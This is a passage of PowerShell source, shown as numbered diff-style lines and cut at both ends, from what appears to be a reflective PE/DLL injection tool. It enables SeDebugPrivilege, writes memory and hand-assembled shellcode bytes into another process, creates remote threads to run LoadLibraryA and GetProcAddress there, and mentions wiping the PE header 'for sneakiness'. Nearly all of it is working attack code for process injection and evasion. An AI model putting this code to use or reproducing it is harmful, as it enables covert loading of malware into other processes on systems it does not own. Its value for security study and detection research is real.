-
994
- #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/
995
- Function Get-DelegateType
996
- {
997
- Param
998
- (
999
- [OutputType([Type])]
1000
-
1001
- [Parameter( Position = 0)]
1002
- [Type[]]
1003
- $Parameters = (New-Object Type[](0)),
1004
-
1005
- [Parameter( Position = 1 )]
1006
- [Type]
1007
- $ReturnType = [Void]
1008
- )
1009
-
1010
- $Domain = [AppDomain]::CurrentDomain
1011
- $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
1012
- $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
1013
- $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
1014
- $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
1015
- $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
1016
- $ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
1017
- $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
1018
- $MethodBuilder.SetImplementationFlags('Runtime, Managed')
1019
-
1020
- Write-Output $TypeBuilder.CreateType()
1021
- }
1022
-
1023
-
1024
- #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/
1025
- Function Get-ProcAddress
1026
- {
1027
- Param
1028
- (
1029
- [OutputType([IntPtr])]
1030
-
1031
- [Parameter( Position = 0, Mandatory = $True )]
1032
- [String]
1033
- $Module,
1034
-
1035
- [Parameter( Position = 1, Mandatory = $True )]
1036
- [String]
1037
- $Procedure
1038
- )
1039
-
1040
- # Get a reference to System.dll in the GAC
1041
- $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
1042
- Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
1043
- $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
1044
- # Get a reference to the GetModuleHandle and GetProcAddress methods
1045
- $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
1046
- $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
1047
- # Get a handle to the module specified
1048
- $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
1049
- $tmpPtr = New-Object IntPtr
1050
- $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
1051
-
1052
- # Return the address of the function
1053
- Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
1054
- }
1055
-
1056
-
1057
- Function Enable-SeDebugPrivilege
1058
- {
1059
- Param(
1060
- [Parameter(Position = 1, Mandatory = $true)]
1061
- [System.Object]
1062
- $Win32Functions,
1063
-
1064
- [Parameter(Position = 2, Mandatory = $true)]
1065
- [System.Object]
1066
- $Win32Types,
1067
-
1068
- [Parameter(Position = 3, Mandatory = $true)]
1069
- [System.Object]
1070
- $Win32Constants
1071
- )
1072
-
1073
- [IntPtr]$ThreadHandle = $Win32Functions.GetCurrentThread.Invoke()
1074
- if ($ThreadHandle -eq [IntPtr]::Zero)
1075
- {
1076
- Throw "Unable to get the handle to the current thread"
1077
- }
1078
-
1079
- [IntPtr]$ThreadToken = [IntPtr]::Zero
1080
- [Bool]$Result = $Win32Functions.OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken)
1081
- if ($Result -eq $false)
1082
- {
1083
- $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
1084
- if ($ErrorCode -eq $Win32Constants.ERROR_NO_TOKEN)
1085
- {
1086
- $Result = $Win32Functions.ImpersonateSelf.Invoke(3)
1087
- if ($Result -eq $false)
1088
- {
1089
- Throw "Unable to impersonate self"
1090
- }
1091
-
1092
- $Result = $Win32Functions.OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken)
1093
- if ($Result -eq $false)
1094
- {
1095
- Throw "Unable to OpenThreadToken."
1096
- }
1097
- }
1098
- else
1099
- {
1100
- Throw "Unable to OpenThreadToken. Error code: $ErrorCode"
1101
- }
1102
- }
1103
-
1104
- [IntPtr]$PLuid = [System.Runtime.InteropServices.Marshal]::AllocHGlobal([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.LUID))
1105
- $Result = $Win32Functions.LookupPrivilegeValue.Invoke($null, "SeDebugPrivilege", $PLuid)
1106
- if ($Result -eq $false)
1107
- {
1108
- Throw "Unable to call LookupPrivilegeValue"
1109
- }
1110
-
1111
- [UInt32]$TokenPrivSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.TOKEN_PRIVILEGES)
1112
- [IntPtr]$TokenPrivilegesMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenPrivSize)
1113
- $TokenPrivileges = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenPrivilegesMem, [Type]$Win32Types.TOKEN_PRIVILEGES)
1114
- $TokenPrivileges.PrivilegeCount = 1
1115
- $TokenPrivileges.Privileges.Luid = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PLuid, [Type]$Win32Types.LUID)
1116
- $TokenPrivileges.Privileges.Attributes = $Win32Constants.SE_PRIVILEGE_ENABLED
1117
- [System.Runtime.InteropServices.Marshal]::StructureToPtr($TokenPrivileges, $TokenPrivilegesMem, $true)
1118
-
1119
- $Result = $Win32Functions.AdjustTokenPrivileges.Invoke($ThreadToken, $false, $TokenPrivilegesMem, $TokenPrivSize, [IntPtr]::Zero, [IntPtr]::Zero)
1120
- $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() #Need this to get success value or failure value
1121
- if (($Result -eq $false) -or ($ErrorCode -ne 0))
1122
- {
1123
- #Throw "Unable to call AdjustTokenPrivileges. Return value: $Result, Errorcode: $ErrorCode" #todo need to detect if already set
1124
- }
1125
-
1126
- [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenPrivilegesMem)
1127
- }
1128
-
1129
-
1130
- Function Create-RemoteThread
1131
- {
1132
- Param(
1133
- [Parameter(Position = 1, Mandatory = $true)]
1134
- [IntPtr]
1135
- $ProcessHandle,
1136
-
1137
- [Parameter(Position = 2, Mandatory = $true)]
1138
- [IntPtr]
1139
- $StartAddress,
1140
-
1141
- [Parameter(Position = 3, Mandatory = $false)]
1142
- [IntPtr]
1143
- $ArgumentPtr = [IntPtr]::Zero,
1144
-
1145
- [Parameter(Position = 4, Mandatory = $true)]
1146
- [System.Object]
1147
- $Win32Functions
1148
- )
1149
-
1150
- [IntPtr]$RemoteThreadHandle = [IntPtr]::Zero
1151
-
1152
- $OSVersion = [Environment]::OSVersion.Version
1153
- #Vista and Win7
1154
- if (($OSVersion -ge (New-Object 'Version' 6,0)) -and ($OSVersion -lt (New-Object 'Version' 6,2)))
1155
- {
1156
- #Write-Verbose "Windows Vista/7 detected, using NtCreateThreadEx. Address of thread: $StartAddress"
1157
- $RetVal= $Win32Functions.NtCreateThreadEx.Invoke([Ref]$RemoteThreadHandle, 0x1FFFFF, [IntPtr]::Zero, $ProcessHandle, $StartAddress, $ArgumentPtr, $false, 0, 0xffff, 0xffff, [IntPtr]::Zero)
1158
- $LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
1159
- if ($RemoteThreadHandle -eq [IntPtr]::Zero)
1160
- {
1161
- Throw "Error in NtCreateThreadEx. Return value: $RetVal. LastError: $LastError"
1162
- }
1163
- }
1164
- #XP/Win8
1165
- else
1166
- {
1167
- #Write-Verbose "Windows XP/8 detected, using CreateRemoteThread. Address of thread: $StartAddress"
1168
- $RemoteThreadHandle = $Win32Functions.CreateRemoteThread.Invoke($ProcessHandle, [IntPtr]::Zero, [UIntPtr][UInt64]0xFFFF, $StartAddress, $ArgumentPtr, 0, [IntPtr]::Zero)
1169
- }
1170
-
1171
- if ($RemoteThreadHandle -eq [IntPtr]::Zero)
1172
- {
1173
- Write-Error "Error creating remote thread, thread handle is null" -ErrorAction Stop
1174
- }
1175
-
1176
- return $RemoteThreadHandle
1177
- }
1178
-
1179
-
1180
-
1181
- Function Get-ImageNtHeaders
1182
- {
1183
- Param(
1184
- [Parameter(Position = 0, Mandatory = $true)]
1185
- [IntPtr]
1186
- $PEHandle,
1187
-
1188
- [Parameter(Position = 1, Mandatory = $true)]
1189
- [System.Object]
1190
- $Win32Types
1191
- )
1192
-
1193
- $NtHeadersInfo = New-Object System.Object
1194
-
1195
- #Normally would validate DOSHeader here, but we did it before this function was called and then destroyed 'MZ' for sneakiness
1196
- $dosHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PEHandle, [Type]$Win32Types.IMAGE_DOS_HEADER)
1197
-
1198
- #Get IMAGE_NT_HEADERS
1199
- [IntPtr]$NtHeadersPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEHandle) ([Int64][UInt64]$dosHeader.e_lfanew))
1200
- $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value $NtHeadersPtr
1201
- $imageNtHeaders64 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Types.IMAGE_NT_HEADERS64)
1202
-
1203
- #Make sure the IMAGE_NT_HEADERS checks out. If it doesn't, the data structure is invalid. This should never happen.
1204
- if ($imageNtHeaders64.Signature -ne 0x00004550)
1205
- {
1206
- throw "Invalid IMAGE_NT_HEADER signature."
1207
- }
1208
-
1209
- if ($imageNtHeaders64.OptionalHeader.Magic -eq 'IMAGE_NT_OPTIONAL_HDR64_MAGIC')
1210
- {
1211
- $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders64
1212
- $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $true
1213
- }
1214
- else
1215
- {
1216
- $ImageNtHeaders32 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Types.IMAGE_NT_HEADERS32)
1217
- $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders32
1218
- $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $false
1219
- }
1220
-
1221
- return $NtHeadersInfo
1222
- }
1223
-
1224
-
1225
- #This function will get the information needed to allocated space in memory for the PE
1226
- Function Get-PEBasicInfo
1227
- {
1228
- Param(
1229
- [Parameter( Position = 0, Mandatory = $true )]
1230
- [Byte[]]
1231
- $PEBytes,
1232
-
1233
- [Parameter(Position = 1, Mandatory = $true)]
1234
- [System.Object]
1235
- $Win32Types
1236
- )
1237
-
1238
- $PEInfo = New-Object System.Object
1239
-
1240
- #Write the PE to memory temporarily so I can get information from it. This is not it's final resting spot.
1241
- [IntPtr]$UnmanagedPEBytes = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PEBytes.Length)
1242
- [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, 0, $UnmanagedPEBytes, $PEBytes.Length) | Out-Null
1243
-
1244
- #Get NtHeadersInfo
1245
- $NtHeadersInfo = Get-ImageNtHeaders -PEHandle $UnmanagedPEBytes -Win32Types $Win32Types
1246
-
1247
- #Build a structure with the information which will be needed for allocating memory and writing the PE to memory
1248
- $PEInfo | Add-Member -MemberType NoteProperty -Name 'PE64Bit' -Value ($NtHeadersInfo.PE64Bit)
1249
- $PEInfo | Add-Member -MemberType NoteProperty -Name 'OriginalImageBase' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.ImageBase)
1250
- $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage)
1251
- $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfHeaders' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfHeaders)
1252
- $PEInfo | Add-Member -MemberType NoteProperty -Name 'DllCharacteristics' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.DllCharacteristics)
1253
-
1254
- #Free the memory allocated above, this isn't where we allocate the PE to memory
1255
- [System.Runtime.InteropServices.Marshal]::FreeHGlobal($UnmanagedPEBytes)
1256
-
1257
- return $PEInfo
1258
- }
1259
-
1260
-
1261
- #PEInfo must contain the following NoteProperties:
1262
- # PEHandle: An IntPtr to the address the PE is loaded to in memory
1263
- Function Get-PEDetailedInfo
1264
- {
1265
- Param(
1266
- [Parameter( Position = 0, Mandatory = $true)]
1267
- [IntPtr]
1268
- $PEHandle,
1269
-
1270
- [Parameter(Position = 1, Mandatory = $true)]
1271
- [System.Object]
1272
- $Win32Types,
1273
-
1274
- [Parameter(Position = 2, Mandatory = $true)]
1275
- [System.Object]
1276
- $Win32Constants
1277
- )
1278
-
1279
- if ($PEHandle -eq $null -or $PEHandle -eq [IntPtr]::Zero)
1280
- {
1281
- throw 'PEHandle is null or IntPtr.Zero'
1282
- }
1283
-
1284
- $PEInfo = New-Object System.Object
1285
-
1286
- #Get NtHeaders information
1287
- $NtHeadersInfo = Get-ImageNtHeaders -PEHandle $PEHandle -Win32Types $Win32Types
1288
-
1289
- #Build the PEInfo object
1290
- $PEInfo | Add-Member -MemberType NoteProperty -Name PEHandle -Value $PEHandle
1291
- $PEInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value ($NtHeadersInfo.IMAGE_NT_HEADERS)
1292
- $PEInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value ($NtHeadersInfo.NtHeadersPtr)
1293
- $PEInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value ($NtHeadersInfo.PE64Bit)
1294
- $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage)
1295
-
1296
- if ($PEInfo.PE64Bit -eq $true)
1297
- {
1298
- [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS64)))
1299
- $PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr
1300
- }
1301
- else
1302
- {
1303
- [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS32)))
1304
- $PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr
1305
- }
1306
-
1307
- if (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeader.Characteristics -band $Win32Constants.IMAGE_FILE_DLL) -eq $Win32Constants.IMAGE_FILE_DLL)
1308
- {
1309
- $PEInfo | Add-Member -MemberType NoteProperty -Name FileType -Value 'DLL'
1310
- }
1311
- elseif (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeader.Characteristics -band $Win32Constants.IMAGE_FILE_EXECUTABLE_IMAGE) -eq $Win32Constants.IMAGE_FILE_EXECUTABLE_IMAGE)
1312
- {
1313
- $PEInfo | Add-Member -MemberType NoteProperty -Name FileType -Value 'EXE'
1314
- }
1315
- else
1316
- {
1317
- Throw "PE file is not an EXE or DLL"
1318
- }
1319
-
1320
- return $PEInfo
1321
- }
1322
-
1323
-
1324
- Function Import-DllInRemoteProcess
1325
- {
1326
- Param(
1327
- [Parameter(Position=0, Mandatory=$true)]
1328
- [IntPtr]
1329
- $RemoteProcHandle,
1330
-
1331
- [Parameter(Position=1, Mandatory=$true)]
1332
- [IntPtr]
1333
- $ImportDllPathPtr
1334
- )
1335
-
1336
- $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])
1337
-
1338
- $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr)
1339
- $DllPathSize = [UIntPtr][UInt64]([UInt64]$ImportDllPath.Length + 1)
1340
- $RImportDllPathPtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
1341
- if ($RImportDllPathPtr -eq [IntPtr]::Zero)
1342
- {
1343
- Throw "Unable to allocate memory in the remote process"
1344
- }
1345
-
1346
- [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero
1347
- $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RImportDllPathPtr, $ImportDllPathPtr, $DllPathSize, [Ref]$NumBytesWritten)
1348
-
1349
- if ($Success -eq $false)
1350
- {
1351
- Throw "Unable to write DLL path to remote process memory"
1352
- }
1353
- if ($DllPathSize -ne $NumBytesWritten)
1354
- {
1355
- Throw "Didn't write the expected amount of bytes when writing a DLL path to load to the remote process"
1356
- }
1357
-
1358
- $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll")
1359
- $LoadLibraryAAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "LoadLibraryA") #Kernel32 loaded to the same address for all processes
1360
-
1361
- [IntPtr]$DllAddress = [IntPtr]::Zero
1362
- #For 64bit DLL's, we can't use just CreateRemoteThread to call LoadLibrary because GetExitCodeThread will only give back a 32bit value, but we need a 64bit address
1363
- # Instead, write shellcode while calls LoadLibrary and writes the result to a memory address we specify. Then read from that memory once the thread finishes.
1364
- if ($PEInfo.PE64Bit -eq $true)
1365
- {
1366
- #Allocate memory for the address returned by LoadLibraryA
1367
- $LoadLibraryARetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
1368
- if ($LoadLibraryARetMem -eq [IntPtr]::Zero)
1369
- {
1370
- Throw "Unable to allocate memory in the remote process for the return value of LoadLibraryA"
1371
- }
1372
-
1373
-
1374
- #Write Shellcode to the remote process which will call LoadLibraryA (Shellcode: LoadLibraryA.asm)
1375
- $LoadLibrarySC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9)
1376
- $LoadLibrarySC2 = @(0x48, 0xba)
1377
- $LoadLibrarySC3 = @(0xff, 0xd2, 0x48, 0xba)
1378
- $LoadLibrarySC4 = @(0x48, 0x89, 0x02, 0x48, 0x89, 0xdc, 0x5b, 0xc3)
1379
-
1380
- $SCLength = $LoadLibrarySC1.Length + $LoadLibrarySC2.Length + $LoadLibrarySC3.Length + $LoadLibrarySC4.Length + ($PtrSize * 3)
1381
- $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength)
1382
- $SCPSMemOriginal = $SCPSMem
1383
-
1384
- Write-BytesToMemory -Bytes $LoadLibrarySC1 -MemoryAddress $SCPSMem
1385
- $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC1.Length)
1386
- [System.Runtime.InteropServices.Marshal]::StructureToPtr($RImportDllPathPtr, $SCPSMem, $false)
1387
- $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
1388
- Write-BytesToMemory -Bytes $LoadLibrarySC2 -MemoryAddress $SCPSMem
1389
- $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC2.Length)
1390
- [System.Runtime.InteropServices.Marshal]::StructureToPtr($LoadLibraryAAddr, $SCPSMem, $false)
1391
- $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
1392
- Write-BytesToMemory -Bytes $LoadLibrarySC3 -MemoryAddress $SCPSMem
1393
- $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC3.Length)
1394
- [System.Runtime.InteropServices.Marshal]::StructureToPtr($LoadLibraryARetMem, $SCPSMem, $false)
1395
- $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
1396
- Write-BytesToMemory -Bytes $LoadLibrarySC4 -MemoryAddress $SCPSMem
1397
- $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC4.Length)
1398
-
1399
-
1400
- $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE)
1401
- if ($RSCAddr -eq [IntPtr]::Zero)
1402
- {
1403
- Throw "Unable to allocate memory in the remote process for shellcode"
1404
- }
1405
-
1406
- $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten)
1407
- if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength))
1408
- {
1409
- Throw "Unable to write shellcode to remote process memory."
1410
- }
1411
-
1412
- $RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions
1413
- $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000)
1414
- if ($Result -ne 0)
1415
- {
1416
- Throw "Call to CreateRemoteThread to call GetProcAddress failed."
1417
- }
1418
-
1419
- #The shellcode writes the DLL address to memory in the remote process at address $LoadLibraryARetMem, read this memory
1420
- [IntPtr]$ReturnValMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize)
1421
- $Result = $Win32Functions.ReadProcessMemory.Invoke($RemoteProcHandle, $LoadLibraryARetMem, $ReturnValMem, [UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten)
1422
- if ($Result -eq $false)
1423
- {
1424
- Throw "Call to ReadProcessMemory failed"
1425
- }
1426
- [IntPtr]$DllAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr])
1427
-
1428
- $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $LoadLibraryARetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
1429
- $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
1430
- }
1431
- else
1432
- {
1433
- [IntPtr]$RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $LoadLibraryAAddr -ArgumentPtr $RImportDllPathPtr -Win32Functions $Win32Functions
1434
- $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000)
1435
- if ($Result -ne 0)
1436
- {
1437
- Throw "Call to CreateRemoteThread to call GetProcAddress failed."
1438
- }
1439
-
1440
- [Int32]$ExitCode = 0
1441
- $Result = $Win32Functions.GetExitCodeThread.Invoke($RThreadHandle, [Ref]$ExitCode)
1442
- if (($Result -eq 0) -or ($ExitCode -eq 0))
1443
- {
1444
- Throw "Call to GetExitCodeThread failed"
1445
- }
1446
-
1447
- [IntPtr]$DllAddress = [IntPtr]$ExitCode
1448
- }
1449
-
1450
- $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RImportDllPathPtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
1451
-
1452
- return $DllAddress
1453
- }
1454
-
1455
-
1456
- Function Get-RemoteProcAddress
1457
- {
1458
- Param(
1459
- [Parameter(Position=0, Mandatory=$true)]
1460
- [IntPtr]
1461
- $RemoteProcHandle,
1462
-
1463
- [Parameter(Position=1, Mandatory=$true)]
1464
- [IntPtr]
1465
- $RemoteDllHandle,
1466
-
1467
- [Parameter(Position=2, Mandatory=$true)]
1468
- [IntPtr]
1469
- $FunctionNamePtr,#This can either be a ptr to a string which is the function name, or, if LoadByOrdinal is 'true' this is an ordinal number (points to nothing)
1470
-
1471
- [Parameter(Position=3, Mandatory=$true)]
1472
- [Bool]
1473
- $LoadByOrdinal
1474
- )
1475
-
1476
- $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])
1477
-
1478
- [IntPtr]$RFuncNamePtr = [IntPtr]::Zero #Pointer to the function name in remote process memory if loading by function name, ordinal number if loading by ordinal
1479
- #If not loading by ordinal, write the function name to the remote process memory
1480
- if (-not $LoadByOrdinal)
1481
- {
1482
- $FunctionName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($FunctionNamePtr)
1483
-
1484
- #Write FunctionName to memory (will be used in GetProcAddress)
1485
- $FunctionNameSize = [UIntPtr][UInt64]([UInt64]$FunctionName.Length + 1)
1486
- $RFuncNamePtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $FunctionNameSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
1487
- if ($RFuncNamePtr -eq [IntPtr]::Zero)
1488
- {
1489
- Throw "Unable to allocate memory in the remote process"
1490
- }
1491
-
1492
- [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero
1493
- $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RFuncNamePtr, $FunctionNamePtr, $FunctionNameSize, [Ref]$NumBytesWritten)
1494
- if ($Success -eq $false)
1495
- {
1496
- Throw "Unable to write DLL path to remote process memory"
1497
- }
1498
- if ($FunctionNameSize -ne $NumBytesWritten)
1499
- {
1500
- Throw "Didn't write the expected amount of bytes when writing a DLL path to load to the remote process"
1501
- }
1502
- }
1503
- #If loading by ordinal, just set RFuncNamePtr to be the ordinal number
1504
- else
1505
- {
1506
- $RFuncNamePtr = $FunctionNamePtr
1507
- }
1508
-
1509
- #Get address of GetProcAddress
1510
- $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll")
1511
- $GetProcAddressAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "GetProcAddress") #Kernel32 loaded to the same address for all processes
1512
-
1513
-
1514
- #Allocate memory for the address returned by GetProcAddress
1515
- $GetProcAddressRetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UInt64][UInt64]$PtrSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
1516
- if ($GetProcAddressRetMem -eq [IntPtr]::Zero)
1517
- {
1518
- Throw "Unable to allocate memory in the remote process for the return value of GetProcAddress"
1519
- }
1520
-
1521
-
1522
- #Write Shellcode to the remote process which will call GetProcAddress
1523
- #Shellcode: GetProcAddress.asm
1524
- [Byte[]]$GetProcAddressSC = @()
1525
- if ($PEInfo.PE64Bit -eq $true)
1526
- {
1527
- $GetProcAddressSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9)
1528
- $GetProcAddressSC2 = @(0x48, 0xba)
1529
- $GetProcAddressSC3 = @(0x48, 0xb8)
1530
- $GetProcAddressSC4 = @(0xff, 0xd0, 0x48, 0xb9)
1531
- $GetProcAddressSC5 = @(0x48, 0x89, 0x01, 0x48, 0x89, 0xdc, 0x5b, 0xc3)
1532
- }
1533
- else
1534
- {
1535
- $GetProcAddressSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xc0, 0xb8)
1536
- $GetProcAddressSC2 = @(0xb9)
1537
- $GetProcAddressSC3 = @(0x51, 0x50, 0xb8)
1538
- $GetProcAddressSC4 = @(0xff, 0xd0, 0xb9)
1539
- $GetProcAddressSC5 = @(0x89, 0x01, 0x89, 0xdc, 0x5b, 0xc3)
1540
- }
1541
- $SCLength = $GetProcAddressSC1.Length + $GetProcAddressSC2.Length + $GetProcAddressSC3.Length + $GetProcAddressSC4.Length + $GetProcAddressSC5.Length + ($PtrSize * 4)
1542
- $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength)
1543
- $SCPSMemOriginal = $SCPSMem
1544
-
1545
- Write-BytesToMemory -Bytes $GetProcAddressSC1 -MemoryAddress $SCPSMem
1546
- $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC1.Length)
1547
- [System.Runtime.InteropServices.Marshal]::StructureToPtr($RemoteDllHandle, $SCPSMem, $false)
1548
- $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
1549
- Write-BytesToMemory -Bytes $GetProcAddressSC2 -MemoryAddress $SCPSMem
1550
- $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC2.Length)
1551
- [System.Runtime.InteropServices.Marshal]::StructureToPtr($RFuncNamePtr, $SCPSMem, $false)
1552
- $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
1553
- Write-BytesToMemory -Bytes $GetProcAddressSC3 -MemoryAddress $SCPSMem
1554
- $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC3.Length)
1555
